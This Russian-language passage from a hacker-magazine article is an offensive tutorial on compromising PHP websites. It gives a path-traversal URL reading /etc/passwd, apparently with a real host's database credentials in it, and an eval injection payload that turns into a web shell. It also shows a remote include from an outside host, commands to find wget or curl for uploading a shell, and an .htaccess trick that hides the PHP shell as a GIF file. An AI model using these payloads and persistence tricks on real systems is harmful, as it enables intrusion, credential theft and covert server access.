PHPenetration Zadoxlik (antichat.ru) Хакер, номер #090, стр. 090-072-7 index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd С помощью представленной уязвимости можно инклудить произвольный файл, загружать на сервер свои файлы и т.д. Уязвимость нашел ShanKaR. 3)Не думать о разнице между «"» и «'». Выше я упоминал про взлом хацкерского ресурса. Осуществлен он был через следующий фрагмент скрипта: eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";") Где в качестве $HTTP_GET_VARS[$register_poll_vars[$i]] можно было подставить параметр id. Если бы в скрипте, например, была бы объявлена переменная, содержащая пароль к БД, а значение этой самой $$register_poll_vars[$i] выводилось бы где-то в stdout'е, мы бы могли передать в id строку $dbpasswd (переменная, содержащая пароль) и получили бы пароль от БД. Но это еще полбеды. Дело в том, что разработчики позаботились о том, чтобы мы могли вызывать произвольную функцию прямо из строки (не "bla".func()."bla", а непосредственно без выхода за двойную кавычку). Делается это так: {${function()}} Где function() - обращение к произвольной функции. Смотри, если передать нашему скрипту строку {${system([COMMAND])}}, мы получим веб-шелл. ХХХ ЗАГОЛОВОК ХХХ PHP-injection 2 web-shell Поскольку обнаруженные баги на сайтах обычно долго не живут, то держать в виде веб-шелла саму уязвимость не только неудобно, но и ненадежно. Здесь я опишу, как нам залить на сайт и укромно припрятать веб-шелл. Прежде всего у нас должна быть папка с правами на запись. Чтобы получить листинг файлов и папок с правами, рекурсивно воспользуйтесь командой: ls -Rla Для Windows: dir /Q Если доступ к cmd из скрипта запрещен - на диске ты всегда сможешь найти все необходимое, а именно: скрипт, который выводит рекурсивно все файлы и папки. Напротив тех, на которые разрешена запись, ставится 1 (используйте include('http://smth.narod.ru/script.php') в php-инъекции). Вот теперь, когда мы с тобой нашли директорию с правами на запись, надо залить сам скрипт. Для того чтобы узнать, какая качалка стоит на сервере, выполняем следующую команду: which get;which wget;which lynx;which curl;which fetch;which links В ответ будут выведены пути к соответствующим утилитам. Пользоваться каждой из них очень просто. Теперь нам надо спрятать наш скрипт, чтобы админ, пропатчив приложение, не заметил его. Для этого нужно придумать шеллу неприметное название. Но если он, например, находится в папке для аватар, то как его ни переименовывай, файл с расширением php - белая ворона среди гифок и джипегов. Но мы можем загрузить в папку .htaccess-файл и указать, что файлы с расширением gif интерпретируются как PHP-скрипт. Строку «AddType application/x-httpd-php gif» можно занести в .htaccess с помощью echo из cmd или простейшим скриптом. Однако если ты знаком с php, то ты знаешь, что в случае установленного на сервере safe_mode мы не можем использовать функции выполнения системных команд и программ. К счастью, safe_mode — это директива PHP, так что если PHP-инъекцию удастся найти, можно будет химичить с Perl'ом, на которого ограничения safe_mode никак не распространяются. На диске есть пример веб-шелла на перле. |